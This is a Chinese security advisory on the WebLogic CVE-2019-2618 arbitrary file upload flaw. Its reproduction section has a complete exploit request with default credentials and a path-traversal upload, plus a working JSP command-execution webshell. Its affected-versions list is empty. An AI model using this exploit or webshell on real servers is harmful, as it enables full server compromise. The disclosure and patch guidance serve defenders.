当前位置:首页 > 业界新闻 2019年10月23日
WebLogic任意文件上传漏洞(CVE-2019-2618)

WebLogic任意文件上传漏洞(CVE-2019-2618)


事件描述

WebLogic组件介绍

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。

将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。WebLogic是商业市场上主要的Java(J2EE)应用服务器软件(application server)之一,是世界上第一个成功商业化的J2EE应用服务器,具有可扩展性,快速开发,灵活,可靠性等优势。

漏洞分析

CVE-2019-2618漏洞主要是利用了WebLogic组件中的DeploymentService接口,该接口支持向服务器上传任意文件。攻击者突破了OAM(Oracle Access Management)认证,设置wl_request_type参数为app_upload,构造文件上传格式的POST请求包,上传jsp木马文件,进而可以获得整个服务器的权限。

漏洞复现

下载WebLogic10.3.6.0版本作为靶机。

在/bea_wls_deployment_internal/DeploymentService路径下传入以下数据:

POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1

Host: xxx.xxx.xxx.xxx

Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: python-requests/2.18.4

username: weblogic

wl_request_type: app_upload

cache-control: no-cache

wl_upload_application_name: /../tmp/_WL_internal/bea_wls_internal/9j4dqk/war

serverName: Seaer

password: weblogic

content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

archive: true

server_version: 10.3.6.0

wl_upload_delta: true

Content-Length: 1081

 

------WebKitFormBoundary7MA4YWxkTrZu0gW

Content-Disposition: form-data; name="shell.jsp"; filename="shell.jsp"

Content-Type: false

 

<%@ page import="java.util.*,java.io.*"%>

<%

%>

<HTML><BODY>

Commands with JSP

<FORM METHOD="GET" NAME="myform" ACTION=""></p>

<INPUT TYPE="text" NAME="cmd"></p>

<INPUT TYPE="submit" VALUE="Send"></p>

</FORM></p>

 

 

 

<%

if (request.getParameter("cmd") != null) {

out.println("Command: " + request.getParameter("cmd") + "
");

Process p;

if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){

p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));

}

else{

p = Runtime.getRuntime().exec(request.getParameter("cmd"));

}

OutputStream os = p.getOutputStream();

InputStream in = p.getInputStream();

DataInputStream dis = new DataInputStream(in);

String disr = dis.readLine();

while ( disr != null ) {

out.println(disr);

disr = dis.readLine();

}

}

%>

 

 

</BODY></HTML>

 

------WebKitFormBoundary7MA4YWxkTrZu0gW--

 

成功上传shell.jsp木马文件,如图:

图片1.png影响范围

目前据统计,在全球范围内对互联网开放WebLogic的资产数量多达35,894台,其中归属中国地区的受影响资产数量为1万以上。

目前受影响的WebLogic版本:

自IDCBETA转自安全厂商

参考链接

https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html 

解决方案

修复建议

Oracle官方已经在关键补丁更新(CPU)中修复了该漏洞

相关链接:

https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html

请受影响用户及时前往下载,Oracle官方补丁需要用户持有正版软件的许可账号,使用该账号登陆https://support.oracle.com后,可以下载最新补丁